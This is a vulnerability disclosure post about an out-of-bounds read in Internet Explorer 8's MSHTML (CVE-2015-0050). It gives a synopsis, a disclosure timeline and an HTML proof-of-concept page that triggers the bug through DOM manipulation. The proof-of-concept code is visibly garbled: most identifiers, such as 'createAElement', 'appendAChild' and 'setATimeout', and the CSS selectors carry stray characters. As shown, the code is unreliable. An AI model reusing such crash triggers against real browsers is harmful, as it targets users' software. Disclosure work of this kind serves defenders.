Microsoft Internet Explorer 8 8 MSHTML SRunPointer::SpanQualifier/RunType Out-Of-Bounds Read
Posted on 23 November 2016
Throughout November, I plan to release details on vulnerabilities I found in web-browsers which I've not released before. This is the sixteenth entry in that series. Unfortunately I won't be able to publish everything within one month at the current rate, so I may continue to publish these through December and January. The below information is available in more detail on my blog at http://blog.skylined.nl/20161122001.html. There you can find a repro that triggered this issue in addition to the information below. Follow me on http://twitter.com/berendjanwever for daily browser bugs. MSIE 8 MSHTML SRunPointer::SpanQualifier/RunType OOB read ========================================================= (MS15-009, CVE-2015-0050) Synopsis -------- A specially crafted web-page can cause Microsoft Internet Explorer 8 to attempt to read data beyond the boundaries of a memory allocation. The issue does not appear to be easily exploitable. Known affected software, attack vectors and mitigations ------------------------------------------------------- * Microsoft Internet Explorer 8 An attacker would need to get a target user to open a specially crafted web-page. Disabling Javascript should prevent an attacker from triggering the vulnerable code path. Description ----------- The issue requires rather complex manipulation of the DOM and results in reading a value immediately following an object. The lower three bits of this value are returned by the function doing the reading, resulting in a return value in the range 0-7. After exhaustively skipping over the read AV and having that function return each value, no other side effects were noticed. For that reason I assume this issue is hard if not impossible to exploit and did not investigate further. It is still possible that there may be subtle effects that I did not notice that allow exploitation in some form or other. Time-line --------- * *June 2014*: This vulnerability was found through fuzzing. * *October 2014*: This vulnerability was submitted to ZDI. * *October 2014*: This vulnerability was rejected by ZDI. * *November 2014*: This vulnerability was reported to MSRC. * *February 2015*: This vulnerability was addressed by Microsoft in MS15-009. * *November 2016*: Details of this issue are released. Cheers, SkyLined Repro.html <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="X-UA-Compatible" content="IE=Edge" /> <style> position_Afixed { position: fixed; } position_Arelative { position: relative; } float_Aleft { float: left; } complex { float: left; width: 100%; } complex:first-line { clear: left; } </style> <script> window.onload = function boom() { oAElement_Afloat_Aleft = document.createAElement('float_Aleft'); oAElement_Acomplex = document.createAElement('complex'); oAElement_Aposition_Afixed = document.createAElement('position_Afixed'); oAElement_Aposition_Arelative = document.createAElement('position_Arelative'); oAElement_Atable = document.createAElement('table'); oAElement_Ax = document.createAElement('x'); oATextANode = document.createATextANode('x'); document.documentAElement.appendAChild(oAElement_Afloat_Aleft); oAElement_Afloat_Aleft.appendAChild(oAElement_Acomplex); oAElement_Afloat_Aleft.appendAChild(oATextANode); oAElement_Acomplex.appendAChild(oAElement_Aposition_Afixed); oAElement_Acomplex.appendAChild(oAElement_Aposition_Arelative); oAElement_Acomplex.appendAChild(oAElement_Atable); oAElement_Acomplex.appendAChild(oAElement_Ax); setATimeout(function() { oAElement_Ax.setAAttribute('class', 'x'); setATimeout(function() { alert(); document.write(0); }, 0); }, 0); } </script> </head> </html>